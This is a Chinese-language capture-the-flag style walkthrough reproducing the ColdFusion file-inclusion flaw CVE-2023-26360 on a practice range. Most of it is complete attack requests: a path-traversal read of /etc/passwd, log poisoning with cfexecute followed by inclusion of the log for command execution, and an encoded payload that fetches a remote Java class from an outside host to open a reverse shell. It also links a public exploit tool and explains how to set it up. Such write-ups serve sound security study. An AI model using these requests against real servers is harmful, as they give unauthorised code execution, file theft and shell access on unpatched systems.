Coldfusion(CVE-2023-26360)复现
靶场:玄机
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
Adobe ColdFusion 2018 Update 15 和 2021 Update 5 版本及以前,存在一处文件包含漏洞。攻击者可以利用该漏洞在服务器上执行任意代码。
访问靶机8500端口

访问:/CFIDE/administrator/ ,通常密码是admin,但是这个靶机的密码没爆破出来

任意文件读取
POST //CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: ip:port
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"},%20"_variables":{}}}

命令执行
上面的任意文件读取,准确的来说是任意文件包含,我们可以将jsp代码写入日志,然后再利用任意文件包含去包含日志文件,即可造成jsp代码执行,从而造成命令执行
步骤1:
向日志写入jsp代码
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: ip:port
Content-Type: application/x-www-form-urlencoded
Content-Length: 115
_variables=<cfexecute%20name='ls'%20outputFile='/opt/coldfusion/cfusion/wwwroot/cf_scripts/txt'%20></cfexecute>

步骤2:
包含日志文件
POST //CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: ip:port
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log"},%20"_variables":{}}}

步骤3:
访问/cf_scripts/txt文件查看ls命令执行结果

反弹shell
这里我们使用工具
工具地址:https://github.com/CuriousLearnerDev/ColdFusion_EXp
我使用服务器是linux系统,所以我演示linux版本工具,将linux_amd64的工具解压放到服务器中
运行:
./ColdFusionEXp -h
看看有哪些参数
-host 就是指定反弹的服务器的地址(如果你是当前服务器去监听端口等待反弹的话就填写当前服务器的ip)
-p 指定http的端口(也就是说靶机会从当前服务器的这个指定的端口上面下载载荷,从而造成反弹shell,默认就行)
-port 指定反弹的端口(这里填写准备再-host参数下对应的服务器中监听的端口)
这里我填写的是
./ColdFusionEXp -host <服务器ip> -port 18800
界面如上后就不要动了,因为host参数填写的是当前运行ColdFusionEXp工具的服务器,所以我需要在这台服务器上再开个终端去监听18800端口
向靶机发送请求:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: ip:port
Content-Type: application/x-www-form-urlencoded
Content-Length: 850
_variables=%7B%3Ccftry%3E%3Ccfset%20szlh%20%3D%20createObject%28%27java%27%2C%27java.net.URL%27%29.init%28%27http%3A%2F%2F121.0.0.26%3A8888%2FyjY3vz%27%29%2F%3E%3Ccfset%20cafb%20%3D%20createObject%28%27java%27%2C%27java.lang.reflect.Array%27%29%2F%3E%3Ccfset%20ireh%20%3D%20cafb.newInstance%28szlh.getClass%28%29%2C1%29%2F%3E%3Ccfset%20cafb.set%28ireh%2C0%2Cszlh%29%2F%3E%3Ccfset%20fxlt%20%3D%20createObject%28%27java%27%2C%27java.net.URLClassLoader%27%29.init%28ireh%2CjavaCast%28%27null%27%2C%27%27%29%29%2F%3E%3Ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2C%27%27%29%29%2F%3E%3Ccfcatch%20type%3D%27any%27%3E%3C%2Fcfcatch%3E%3Ccffinally%3E%3Ccffile%20action%3D%27write%27%20file%3D%27%23GetCurrentTemplatePath%28%29%23%27%20output%3D%27%27%3E%3C%2Fcffile%3E%3C%2Fcffinally%3E%3C%2Fcftry%3E%0A

下面是请求内容,打码的那一部分就是工具启动的时候回显“服务启动在”那一栏的地址也就是说靶机会在这个url中获得载荷

发送后再包含一遍日志,查看工具运行状态和监听端口状态,看看靶机是否请求了载荷和是否反弹了shell
像上面这样就是靶机请求了载荷
上面这样就说明反弹成功
成功得到flag